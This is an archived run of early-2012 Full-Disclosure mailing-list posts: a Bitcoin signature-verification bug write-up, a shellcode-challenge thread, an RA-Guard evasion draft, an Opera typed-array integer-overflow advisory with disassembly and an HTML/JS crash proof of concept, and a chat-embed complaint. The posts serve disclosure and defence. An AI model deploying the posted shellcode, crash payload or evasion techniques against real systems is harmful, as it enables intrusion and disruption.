Adriel Desautels | 1 Feb 03:58 2012

Sonexis ConferenceManager Exploit MD5 - 20120131


MD5 (soNoExis.rb.orig) = 6f0e38ef112f10cc1b1fe5437ef3970d
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Aidan Thornton | 1 Feb 16:05 2012

Fun with Bitcoin, or how an exploit can hide in plain sight

So most people on here have probably heard of Bitcoin from somewhere,
and most of you have probably got tired of it - but bear with me
because this is kind of entertaining. For those of you that have been
stuck in a darkened room with a disassembler and no internet access
for the past few months, Bitcoin's a clever digital currency that
manages to solve the problem of someone spending the same money twice
without needing any kind of central trusted authority. It does this by
using a variant of hash-cash to make rewriting the history of past
transactions expensive.

Now this means that someone with more than half the total compute
power can launch certain attacks - they're listed on the Bitcoin wiki
at https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power
- but even they aren't meant to have total control. In particular,
they're not meant to be able to spend other people's money because
doing so requires a signature from their private key:

"The attacker can't: Send coins that never belonged to him"

For several months that claim has been *false* as a result of this
commit by the lead Bitcoin developer:
https://github.com/bitcoin/bitcoin/commit/b14bd4df58171454c2aa580ffad94982943483f5

Now, while obviously that commit is doing something slightly risky,
there's a nice reassuring comment from him in the code explaining
exactly why it's not actually a security risk:

// Skip ECDSA signature verification when connecting blocks
(fBlock=true) during initial download
// (before the last blockchain checkpoint). This is safe because block
merkle hashes are
// still computed and checked, and any change will be caught at the
next checkpoint.

It's a very convincing explanation to anyone that understands Bitcoin.
You can only really add a blockchain checkpoint if all the nodes agree
that the chain up to that point is valid - otherwise things will break
in a fairly spectacular and obvious way - so a whole bunch of other
Bitcoin nodes run by many independent people will already have
verified the ECDSA signatures. There's even a good justification for
making the change. Initial blockchain downloads are far too slow which
discourages new users, and ECDSA signature verification is one of the
slowest parts.

Unfortunately the comment is fatally wrong. Even more scarily, there's
no reason at all to suspect this from the commit diff, which is
probably why no-one noticed anything was amiss when it was committed.
If you take a look at the actual definition of IsInitialBlockDownload
there's actually *two* situations which it considers part of the
initial download. One of them is indeed being before the last
blockchain checkpoint:

if (pindexBest == NULL || nBestHeight <
Checkpoints::GetTotalBlocksEstimate()) return true;

The other involves the timestamp included within the last block and
how recently it was received:

return (GetTime() - nLastUpdate < 10 && pindexBest->GetBlockTime() <
GetTime() - 24 * 60 * 60);

So, if we receive a block less than 10 seconds after the previous one
and the previous block had a timestamp more than 24 hours in the past,
we don't bother to verify any of the ECDSA signatures in it and will
allow it to include transactions that spend random people's Bitcoins!

A powerful attacker could definitely exploit this; timestamps in the
future are rejected and Bitcoin won't generally accept a version of
history in which time goes backwards, but otherwise a 51% attacker can
choose whatever timestamps they like and can delay releasing their
version of the chain to meet the "less than 10 seconds" requirement.
It's a very expensive attack but far from impossible.

By full-disclosure standards this is actually old news; I disclosed it
semi-publicly to the Bitcoin developers about a month ago and they
committed a fix back then, and there's even been a Bitcoin release
0.5.2 since then which includes the fix (though only because one of
the other developers stubbornly insisted on creating a bugfix release
for other reasons - the head developer was strongly against it). All
previous 0.5.x releases were vulnerable and 0.6 hasn't been released
yet. I only just got around to looking into how the vulnerability got
in originally though and it doesn't appear anyone's really talked
about it.

This isn't a formal advisory either, more an example of how a
vulnerability can easily be introduced by a seemingly innocuous commit
and why the Bitcoin code needs more scrutiny.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Joshua Thomas | 1 Feb 21:57 2012
Picon

Tricky Shellcode

Can anyone help in solving what this shellcode does?

\x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC

Thanks
JT
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Grandma Eubanks | 1 Feb 22:23 2012
Picon

Re: Tricky Shellcode

Try harder.

FYI to the list - This is for the CTP challenge by offensive security apparently. It does nothing really useful.

On Wed, Feb 1, 2012 at 2:57 PM, Joshua Thomas <rappercrazzy <at> gmail.com> wrote:
Can anyone help in solving what this shellcode does?

\x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC

Thanks
JT

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Dan Kaminsky | 1 Feb 23:27 2012

Re: Fun with Bitcoin, or how an exploit can hide in plain sight


Welcome to why BitCoin is so impressive.  You've got this app.  It's wide open to the Internet, to the point where it opens up firewall rules if necessary.  It's running some home grown network protocol, that ostensibly ships little executable programs around.  It's written in C++, the non-memory safe language you shoot your foot off with.  If you break it, you get all the money.

Given all those anticonstraints, you're *still* left mucking around with incredibly subtle design bugs, like my deanonymization through being the majority of the cloud, or Microsoft's Red Balloon attack in which they "hoard" transaction information that pays a large fee, or your (really cool) exploit against signature checking optimization.

It's a fun bug you found, and I'm glad its fixed, but oh man is it hard to exploit, and at the point there's a 51% attacker, the entire system has already fallen apart (if for no other reason than the 51% attacker can censor and even reverse arbitrary transactions by creating the longer block chain, both by refusing to include transactions, and by assigning to himself the initial coins others might have thought they'd mined).

Great work though!

On Wed, Feb 1, 2012 at 10:05 AM, Aidan Thornton <makosoft <at> googlemail.com> wrote:
So most people on here have probably heard of Bitcoin from somewhere,
and most of you have probably got tired of it - but bear with me
because this is kind of entertaining. For those of you that have been
stuck in a darkened room with a disassembler and no internet access
for the past few months, Bitcoin's a clever digital currency that
manages to solve the problem of someone spending the same money twice
without needing any kind of central trusted authority. It does this by
using a variant of hash-cash to make rewriting the history of past
transactions expensive.

Now this means that someone with more than half the total compute
power can launch certain attacks - they're listed on the Bitcoin wiki
at https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power
- but even they aren't meant to have total control. In particular,
they're not meant to be able to spend other people's money because
doing so requires a signature from their private key:

"The attacker can't: Send coins that never belonged to him"

For several months that claim has been *false* as a result of this
commit by the lead Bitcoin developer:
https://github.com/bitcoin/bitcoin/commit/b14bd4df58171454c2aa580ffad94982943483f5

Now, while obviously that commit is doing something slightly risky,
there's a nice reassuring comment from him in the code explaining
exactly why it's not actually a security risk:

// Skip ECDSA signature verification when connecting blocks
(fBlock=true) during initial download
// (before the last blockchain checkpoint). This is safe because block
merkle hashes are
// still computed and checked, and any change will be caught at the
next checkpoint.

It's a very convincing explanation to anyone that understands Bitcoin.
You can only really add a blockchain checkpoint if all the nodes agree
that the chain up to that point is valid - otherwise things will break
in a fairly spectacular and obvious way - so a whole bunch of other
Bitcoin nodes run by many independent people will already have
verified the ECDSA signatures. There's even a good justification for
making the change. Initial blockchain downloads are far too slow which
discourages new users, and ECDSA signature verification is one of the
slowest parts.

Unfortunately the comment is fatally wrong. Even more scarily, there's
no reason at all to suspect this from the commit diff, which is
probably why no-one noticed anything was amiss when it was committed.
If you take a look at the actual definition of IsInitialBlockDownload
there's actually *two* situations which it considers part of the
initial download. One of them is indeed being before the last
blockchain checkpoint:

if (pindexBest == NULL || nBestHeight <
Checkpoints::GetTotalBlocksEstimate()) return true;

The other involves the timestamp included within the last block and
how recently it was received:

return (GetTime() - nLastUpdate < 10 && pindexBest->GetBlockTime() <
GetTime() - 24 * 60 * 60);

So, if we receive a block less than 10 seconds after the previous one
and the previous block had a timestamp more than 24 hours in the past,
we don't bother to verify any of the ECDSA signatures in it and will
allow it to include transactions that spend random people's Bitcoins!

A powerful attacker could definitely exploit this; timestamps in the
future are rejected and Bitcoin won't generally accept a version of
history in which time goes backwards, but otherwise a 51% attacker can
choose whatever timestamps they like and can delay releasing their
version of the chain to meet the "less than 10 seconds" requirement.
It's a very expensive attack but far from impossible.

By full-disclosure standards this is actually old news; I disclosed it
semi-publicly to the Bitcoin developers about a month ago and they
committed a fix back then, and there's even been a Bitcoin release
0.5.2 since then which includes the fix (though only because one of
the other developers stubbornly insisted on creating a bugfix release
for other reasons - the head developer was strongly against it). All
previous 0.5.x releases were vulnerable and 0.6 hasn't been released
yet. I only just got around to looking into how the vulnerability got
in originally though and it doesn't appear anyone's really talked
about it.

This isn't a formal advisory either, more an example of how a
vulnerability can easily be introduced by a seemingly innocuous commit
and why the Bitcoin code needs more scrutiny.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
InterN0T Advisories | 1 Feb 23:38 2012
Picon

Re: Tricky Shellcode

In the second part of the FC4.me challenge, it says you need XXX amount of
bytes for a reg key.

The shellcode below, is of course, assembly instructions. Have you tried
running the entire code? There's a CC / break in the end in case you load
the code into another program, so you won't execute the rest of the code. 

If you compiled this into a program, nothing would really happen. If you
on the other hand, executed the program aka this shellcode in a debugger,
you would see that something is pushed to the stack, and modified, in
memory. Something that seemed unreadable, is readable, and several
registers even hints the location in the beginning.

So, there's no syscalls being executed, and it can run on any IA-32
platform, probably more as long as they support the opcodes used. (Meaning,
it doesn't matter if you run this on Linux or Windows, but it's definitely
32-bit code.)

This code could've been anything from a simple program writing an image
(if we don't look at the size), to a real working backdoor / shell. Not all
shellcode is equal to backdoors, meterpreter stagers, WinExec(), etc.

Best regards,
MaXe

On Wed, 1 Feb 2012 15:57:02 -0500, Joshua Thomas <rappercrazzy <at> gmail.com>
wrote:
> Can anyone help in solving what this shellcode does?
> 
>
\x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC
> 
> Thanks
> JT

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Fernando Gont | 2 Feb 03:17 2012

Fwd: RA-Guard: Advice on the implementation (feedback requested)

Folks,

We have talked about this one quite a few times (including
<http://blog.si6networks.com/2011/09/router-advertisement-guard-ra-guard.html>).
-- still, most implementations remain broken.

If you care to get this fixed, please provide feedback about this I-D on
the IETF *v6ops* mailing-list <v6ops <at> ietf.org>, and CC me if possible.

Thanks!

Best regards,
Fernando

-------- Original Message --------
Subject: RA-Guard: Advice on the implementation  (feedback requested)
Date: Wed, 01 Feb 2012 21:44:29 -0300
From: Fernando Gont <fgont <at> si6networks.com>
Organization: SI6 Networks
To: IPv6 Operations <v6ops <at> ietf.org>

Folks,

We have just published a revision of our I-D "Implementation Advice for
IPv6 Router Advertisement Guard (RA-Guard)"
<http://tools.ietf.org/id/draft-gont-v6ops-ra-guard-implementation-01.txt>.

In essence, this is the problem statement, and what this I-D is about:

* RA-Guard is essential to have feature parity with IPv4.

* Most (all?) existing RA-Guard implementations can be trivially evaded:
if the attacker includes extension headers in his packets, the RA-Guard
devices fail to identify the Router Advertisement messages. -- For
instance, THC's "IPv6 attack suite" (<http://www.thc.org/thc-ipv6/>)
contains tools that can evade RA-Guard as indicated.

* The I-D discusses this problem, and provides advice on how to
implement RA-Guard, such that the aforementioned vulnerabilities are
eliminated, we have an effective RA-Guard device, and hence
feature-parity with IPv4.

We'd like feedback on this I-D, including high-level comments on whether
you support the proposal in this I-D.

Thanks!

Best regards,
--

-- 
Fernando Gont
SI6 Networks
e-mail: fgont <at> si6networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Fernando Gont | 2 Feb 03:17 2012

Fwd: IPv6 RA-Guard: Advice on the implementation (feedback requested)

Folks,

We have talked about this one quite a few times (including
<http://blog.si6networks.com/2011/09/router-advertisement-guard-ra-guard.html>).
-- still, most implementations remain broken.

If you care to get this fixed, please provide feedback about this I-D on
the IETF *v6ops* mailing-list <v6ops <at> ietf.org>, and CC me if possible.

Thanks!

Best regards,
Fernando

-------- Original Message --------
Subject: RA-Guard: Advice on the implementation  (feedback requested)
Date: Wed, 01 Feb 2012 21:44:29 -0300
From: Fernando Gont <fgont <at> si6networks.com>
Organization: SI6 Networks
To: IPv6 Operations <v6ops <at> ietf.org>

Folks,

We have just published a revision of our I-D "Implementation Advice for
IPv6 Router Advertisement Guard (RA-Guard)"
<http://tools.ietf.org/id/draft-gont-v6ops-ra-guard-implementation-01.txt>.

In essence, this is the problem statement, and what this I-D is about:

* RA-Guard is essential to have feature parity with IPv4.

* Most (all?) existing RA-Guard implementations can be trivially evaded:
if the attacker includes extension headers in his packets, the RA-Guard
devices fail to identify the Router Advertisement messages. -- For
instance, THC's "IPv6 attack suite" (<http://www.thc.org/thc-ipv6/>)
contains tools that can evade RA-Guard as indicated.

* The I-D discusses this problem, and provides advice on how to
implement RA-Guard, such that the aforementioned vulnerabilities are
eliminated, we have an effective RA-Guard device, and hence
feature-parity with IPv4.

We'd like feedback on this I-D, including high-level comments on whether
you support the proposal in this I-D.

Thanks!

Best regards,
--

-- 
Fernando Gont
SI6 Networks
e-mail: fgont <at> si6networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Code Audit Labs | 2 Feb 03:36 2012
Picon

[CAL-2012-0004] opera array integer overflow

CAL-2012-0004 opera array integer overflow

1 Affected Products
=================
11.60 and prior

2 Vulnerability Details
=====================

Code Audit Labs http://www.vulnhunt.com has discovered a integer 
overflow  vulnerability in array functions like
Int32Array,Int16Array... .

Opear vendor say "We have reproduced the problem, and determined that it 
does not have any security implications, since the crash is a caused by 
a memory fill operation which the webpage have no control over, and this 
operation will always crash. It is therefore classified as a stability 
issue, not a security issue. "

we still insist on that  it is a security issue or not should accord to 
root cause of this bug instead of is it exploitable or not. because you 
think it is unexploitable, someone can exploit it via deeply research.

So if most people of Security Community think this is a security issue,
please assign to a CVE number.

3 Analysis
=========
Int16Array(2147483647) example
memory corrupt happen if satisfy with following Conditions
1: x*2  >2
2:x*2!=00
3: (x*2-1)+0x1f overflow 32bits.

so the length of malloc is (x*2-1)+0x1f
memset(eax+0x10,0,x*2) cause memory corrupt

text:5C769F57
.text:5C769F57 loc_5C769F57:                           ; CODE XREF: 
sub_5C769DCE+17Cj
.text:5C769F57                 mov     eax, [esp+48h+var_20] ; var_20 is 2
.text:5C769F5B                 imul    eax, [esp+48h+var_3C] ; var_3C is 
80000001
.text:5C769F60                 cmp     eax, [esp+48h+var_3C]
.text:5C769F64                 jb      short loc_5C769F37
.text:5C769F66                 mov     [esp+48h+size], eax
.text:5C769F6A                 mov     eax, [ebp+arg_0]
.text:5C769F6D                 call    sub_5C14A6E8
.text:5C769F72                 push    [esp+48h+size]  ; size
.text:5C769F76                 push    dword ptr [eax] ; int
.text:5C769F78                 push    [ebp+arg_0]     ; int
.text:5C769F7B                 call    sub_5C765B6D
.text:5C769F80                 add     esp, 0Ch

...

.text:5C46A598
.text:5C46A598 arg_0           = dword ptr  4
.text:5C46A598 size            = dword ptr  8
.text:5C46A598
.text:5C46A598                 mov     edx, [esp+arg_0]
.text:5C46A59C                 push    esi
.text:5C46A59D                 mov     esi, [esp+4+size]
.text:5C46A5A1                 test    esi, esi
.text:5C46A5A3                 jz      short loc_5C46A5AA
.text:5C46A5A5                 lea     eax, [esi-1]
.text:5C46A5A8                 jmp     short loc_5C46A5AC
.text:5C46A5AA ; 
---------------------------------------------------------------------------
.text:5C46A5AA
.text:5C46A5AA loc_5C46A5AA:                           ; CODE XREF: 
sub_5C46A598+Bj
.text:5C46A5AA                 xor     eax, eax
.text:5C46A5AC
.text:5C46A5AC loc_5C46A5AC:                           ; CODE XREF: 
sub_5C46A598+10j
.text:5C46A5AC                 mov     ecx, [edx+8]
.text:5C46A5AF                 add     eax, 1Fh
.text:5C46A5B2                 push    0
.text:5C46A5B4                 and     eax, 0FFFFFFF8h
.text:5C46A5B7                 push    eax
.text:5C46A5B8                 push    edx
.text:5C46A5B9                 call    sub_5C019DA0

ext:5C765BF7 loc_5C765BF7:                           ; CODE XREF: 
sub_5C765B6D+50j
.text:5C765BF7                 push    [ebp+size]      ; size
.text:5C765BFA                 lea     eax, [ebx+10h]
.text:5C765BFD                 push    0               ; c
.text:5C765BFF                 push    eax             ; dst
.text:5C765C00                 call    memset

4 Exploitable?
============
who known?

5 Crash info:
===============
(d10.ff4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01fff21d ebx=00000000 ecx=0367ffb0 edx=00000076 esi=019c5ff8 
edi=03610e68
eip=675b347e esp=02314de0 ebp=02314e24 iopl=0         nv up ei pl nz na 
pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 
efl=00010207
*** ERROR: Symbol file could not be found.  Defaulted to export symbols 
for C:\Program Files\Opera\Opera.dll -
Opera!OpGetNextUninstallFile+0x1961c:
675b347e 660f7f4150      movdqa  xmmword ptr [ecx+50h],xmm0 
ds:0023:03680000=????????????????????????????????
0:000> .exr -1
ExceptionAddress: 675b347e (Opera!OpGetNextUninstallFile+0x0001961c)
    ExceptionCode: c0000005 (Access violation)
   ExceptionFlags: 00000000
NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 03680000
Attempt to write to address 03680000
0:000> kp
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be 
wrong.
02314e24 00000000 Opera!OpGetNextUninstallFile+0x1961c

6 POC:
====
open a html with following content

<script>
//这些全是crash
Int32Array(1073741823)
Float32Array(1073741823)
Float64Array(1073741823)
Int32Array(1073741823)
Uint32Array(1073741823)
Int16Array(2147483647)
ArrayBuffer(4294967295)
</script>

7 About Code Audit Labs:
=====================
Code Audit Labs secure your software,provide Professional include source
code audit and binary code audit service.
Code Audit Labs:" You create value for customer,We protect your value"
http://www.VulnHunt.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Stefan Jon Silverman | 2 Feb 08:28 2012

Chat Embeds -- How Evil Are They???

Folks:

    An interesting subject that I have never seen discussed here but one I want to put on the table....

    Apparently Xat (as a chat embed) has so many holes in it that a brick of Swiss cheese would be jealous..a room I have there on one of my websites ended up w/ Superman sheets wallpaper when I clicked on a chatters "house" icon from my room owners account and also managed to change my management password denying me access to those capabilities until I reset (my cookie functions from w/in chat box remained active)...

    There is a cute vid demonstrating how to take over a chat room at --> http://www.youtube.com/watch?v=wHcRLolT7Z8

    I have also found similar ills in other chat embeds like Chatango, etc....

    Talk among yourselves now....
--
Message
 
 
Regards,
Stefan
 
**************************************************************************
             Stefan Jon Silverman - Founder / President
                          SJS Associates, N.A., Inc.
                   A Technology Strategy Consultancy
**************************************************************************
Cell  917 929 1668                               sjs <at> sjsinc.com   eMail
                              www.sjsinc.com
**************************************************************************
Aim: LazloInSF          Msn: LazloInSF              Yahoo: sjs_sf
**************************************************************************
              Weebles wobble but they don't fall down!!!!
**************************************************************************
 
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Gmane